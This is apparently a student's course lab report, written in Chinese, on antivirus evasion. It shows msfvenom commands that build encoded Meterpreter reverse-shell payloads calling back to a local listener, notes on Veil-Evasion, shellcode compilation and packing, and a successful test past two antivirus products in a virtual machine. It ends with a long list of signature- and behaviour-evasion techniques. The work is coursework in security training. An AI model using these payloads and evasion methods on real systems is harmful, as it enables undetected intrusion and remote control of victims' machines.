2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践
2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践
[-= 博客目录 =-]
1-实践目标
1.1-实践介绍:免杀
-
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
-
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
1.2-实践内容
-
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
-
通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。) -
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
1.3-实践要求
-
基础问题回答
- 杀软是如何检测出恶意代码的?
- 免杀是做什么?
- 免杀的基本方法有哪些?
-
实验总结与体会
-
实践过程记录
-
报告评分 1.5分
- 报告整体观感 0.5分
- 报告格式范围,版面整洁 加0.5。
- 报告排版混乱,加0分。
-
文字表述 1分
- 报告文字内容非常全面,表述清晰准确 加1分。
- 报告逻辑清楚,比较简要地介绍了自己的操作目标与过程 加0.5分。
- 报告逻辑混乱表述不清或文字有明显抄袭可能 加0分
2-实践过程
2.1 正确使用msf编码器
正确使用MSF编码器,并且使用编码器生成类似jar的文件。
A--使用MSF编码器:
使用编码器简单的来说就是使用msfvenom
命令的时候添加-e
参数,举个例子如:-e x86/shikata_ga_nai -i 10 -b ‘\x00’
的意思是:
-e //启用编码器,这里使用`shikata_ga_nai `编码,
-b ‘\x00’ //去掉坏字符 0x00
-i 10 //循环编码10次
//详情可以在终端输入msfvenom -h进行查询
简单的使用一下,生成文件后上传Virus Total:
我编码了十次,好像并没有免杀……
B--使用编码器生成文件(jar、asp):
输入指令为:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.196.136 LPORT=443 -f jar > met5322-encoded10.jar
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.196.136 LPORT=443 -f asp > met5322-encoded10.asp
在上传,发现情况好了一点:
2.2 veil-evasion
Veil-Evasion is a tool to generate payload executables that bypass common antivirus solutions. Veil-Evasion’s code is located at https://www.github.com/Veil-Framework/Veil-Evasion/ and it’s a part of the Veil super project at https://github.com/Veil-Framework/Veil which we recommend mosts users clone and install.
↑真他喵难装……
- 首先,我按照GitHub上的readme,输入
./Veil.py --setup
,结果出现问题:
- 根据提示,我输入
run update-config.py
进行更新配置:
然后再./Veil.py --setup
,结果出现问题:
- 然后我试着运行该文件夹的另一个脚本:
sudo ./setup -c
:结果悲剧:Kali Linux "2018.1" i686 detected……
- 我试着使用Kali's Quick Install:
apt -y install veil
,然后……
- 下了!然后:
- 更新源再来!终于安装好了……然后美滋滋的
veil --setup
:
Are you sure you wish to install Veil-Evasion?
SURESURESURESURESURESURESURESURESURESURESURESURESURESURESURESURESURESURESURE!!!!
要不然实验没分怎么办 (╯﹏╰) - 漫长的等待……大约半个小时到一个小时……去吃了个饭 .(๑><๑)۶
然后出现了一大堆Windows软件的安装(太多了懒得截图,有些字体还乱码显示……)
虽然:
但是:
是不是就……可以了?
- 淦!往上翻翻看看哪里错了:
赶紧装上:Python -m pip install --upgrade pip
删掉重新装一遍:
rm -rf /root/.config/wine/veil
/usr/share/Veil/setup/setup.sh -c
继续漫长的等待:
还是不行…… - 在第四次安装的时候,突然:
喵喵喵???
这个是为什么……
我就记得我看了一下pip的版本pip --version
,发现是最新的,然后update_config.py
了一下,忘记删掉原来的veil,并且换了一种安装方式./Veil.py --setup
,这个是GitHub上的,原来我用不行的这么现在可以了???好迷啊……
可以使用后就开始使用:
按照老师GIF弄了一个.bat文件:
然后上传到virus total进行检测:
看来效果不是很好,那么我们再试试其他的方法吧!
返回目录
2.3 组合应用技术实现免杀
Veil不是你想装,想装就能装!
我先试试用msf生成shellcode,并使用C语言编译器编译,生成exe文件:
在Kali里面编译运行后,上传到virus total进行检测:
啧啧,不是很好,试试使用编码器编码生成的C语言代码,再编译:
再上传:
稍稍少了几个,但是还是挺多的。
我们再试试加壳(压缩壳):
出了点小问题,不过问题不大,上传到virus total:
嗯,又少了点。
2.4 靶机实测
为了测试我专门下载了腾讯电脑管家和360杀毒软件,并安装到了我的虚拟机里面……
- 先把杀软关了,测试一下shellcode能用没:
没问题,反向链接成功! - 上一波
x86/shikata_ga_nai
编码+VC编译+压缩壳的shellcode,先上腾讯电脑管家:
哎呀,把我实验二的后门程序发现了,不过shellcode依旧坚挺. - 再来360:
完全无压力还顺便截了个图.jpg…… - 有点心虚啊,虽然靶机是虚拟机(不是我的电脑就好~),但是这也太轻松了吧,有点不现实,看看其他人的好像都被查出来了,我估计原因可能是病毒库没有更新?
2.5 基础问题回答
- 杀软是如何检测出恶意代码的?
- 是根据每段恶意代码的特征码来检测的。
- 免杀是做什么?
- 就是不让杀软检测出特征码,对自己的结构进行伪装。
- 免杀的基本方法有哪些?
- 静态文件免杀:针对的是杀毒软件的静态文件扫描,也就是病毒库中的文件特征码:
- 如果特征码定位到数据,则可以:
- 字符串,如果不影响程序逻辑,可以替换大小写;
- 如果无关紧要的数据,随意替换;
- 整数,如果不影响结果,替换值,清零等等操作。
- 地址,基本应该不能修改,具体看情况。
- PE头数据,根据PE结构具体来看,无用数据清零或修改,有用数据看情况修改。
- 终极修改方法,找到访问数据的代码,直接修改代码访问数据的地址,数据也可以放到其他地址了,其实就如同修改源码一样修改,肯定没有修改源码那么容易。
- 如果特征码定位到代码,则可以:
- 等价替换汇编代码,如mov eax,0可以换成xor eax,eax,直接结果相同,二进制代码不同。
- 交换代码顺序,在不影响逻辑的情况下。
- 代码块移位,将代码块移动不用的内存位置,通过加入jmp addr跳过去执行,addr是新的代码块地址。
- 如果有源码,加花指令,这是最有效也是最常用的方式,要点在于如何加话指令。加数据计算代码,加减乘除各类组合。加字符串操作代码,增加、删除、查找、替换等。加多层跳转,跳转间加无效指令(不会执行的)。加貌似有效的API调用,如LoadLibrary+GetProcAddr+API等。
- 工具免杀:
- 加资源,使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。
- 替换资源,使用ResHacker替换无用的资源(Version等)。
- 加签名,使用签名伪造工具,将正常软件的签名信息加入到自己软件中。几种方式可以交替重复多次进行组合使用。
- PE操作,使用PE优化工具对文件进行优化,删除0,PE头优化,附加数据等。
- 增加节,增加节数据,随意加入无效数据。
- 加壳,可以将加壳简单理解为:解密器/解压器+加密器/压缩器(原始代码)。通过加密器/压缩器将原始代码进行加密压缩,让其特征码变化隐藏,然后组装上解密器/解压器到文件中,运行是先运行解密/解压器,将加密压缩内容解密解压,然后继续运行原始代码。
- 如果特征码定位到数据,则可以:
- 动态行为免杀:运行中执行的某些行为被杀毒软件拦截报读,如注册表操作,添加启动项,添加服务,文件写入、读系统文件、删除文件,移动文件,杀进程,创建进程,注入、劫持等。
- 替换api,使用相同功能的API进行替换,杀软不可能拦截了所有API,所以这种方式还是有效的。比如MoveFileEx替换MoveFile。
- 未导出api,寻找相同功能的未导出API进行替换,杀软拦截一般是导出API,或者底层调用,寻找未导出API有一定效果。寻找方法,通过分析目标API内部调用,找到内部一个或多个未导出API,来完成相同功能。
- 重写api,完全重写系统API功能(通过逆向),实现自己的对应功能API,对于ring3的行为拦截非常有效。比如实现MoveFile等。
- api+5,ring3的API拦截通过是挂钩API头几个字节内容,然后进入杀软自己函数进行参数检查之类的。那么如果调用API时,跳过头部几字节,就可以避开这种拦截方式。
- 底层api,该方法类似于2和3,杀软拦截API可能更加高层(语义更清楚),那就可以找更底层API进行调用,绕过拦截,比如使用NT函数。或者通过DeviceIoControl调用驱动功能来完成API功能,模拟系统调用。
- 合理替换调用顺序,有时拦截行为是通过多个API组合来完成的,所以合理替换顺序,绕过杀软拦截策略,也可以绕过改行为拦截。比如,先创建服务,再将服务对应文件拷贝过去。
- 绕过调用源,通过调用其它进行功能来完成API的功能。比较经典的如,通过rundll32.exe来完成dll加载,通过COM来操作文件等等。
- 静态文件免杀:针对的是杀毒软件的静态文件扫描,也就是病毒库中的文件特征码:
以上资料来自博客免杀技术有一套(免杀方法大集结)(Anti-AntiVirus)
非常深入浅出,打开眼界。
3-参考资料&实践体会
实践体会
通过这次实践,我学会了如果耐心的与电脑打交道,出现问题不慌不躁,认真的找到问题->解决问题,特别是这次安装veil的体验,让我想起了配置可信计算环境的时候那种绝望的心情,所以年轻人以后还是要有耐心~
好吧认真的说说本次实践的收获大概就是能够看懂怎么样去让自己的后门程序看起来很正常……跟真的一样,其中的重点大概有两点,一点是要了解杀软是怎么识别恶意代码的,一点就是怎么样去使用让杀软无法识别特征码,嗯,重点在自由的,乱七八糟的组合,越乱越好。
参考资料
- 免杀原理与实践
- 后门原理与实践
- MSF实践基础
- msfvenom参数详解
- 利用msfvenom生成木马程序
- 免杀技术有一套(免杀方法大集结)(Anti-AntiVirus)
- 最新的Veil3.0的安装和使用
- Veil#kalis-quick-install
MSF编码器参数:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder> The encoder to use
-a, --arch <arch> The architecture to use
--platform <platform> The platform of the payload
--help-platforms List available platforms
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out <path> Save the payload
-v, --var-name <name> Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message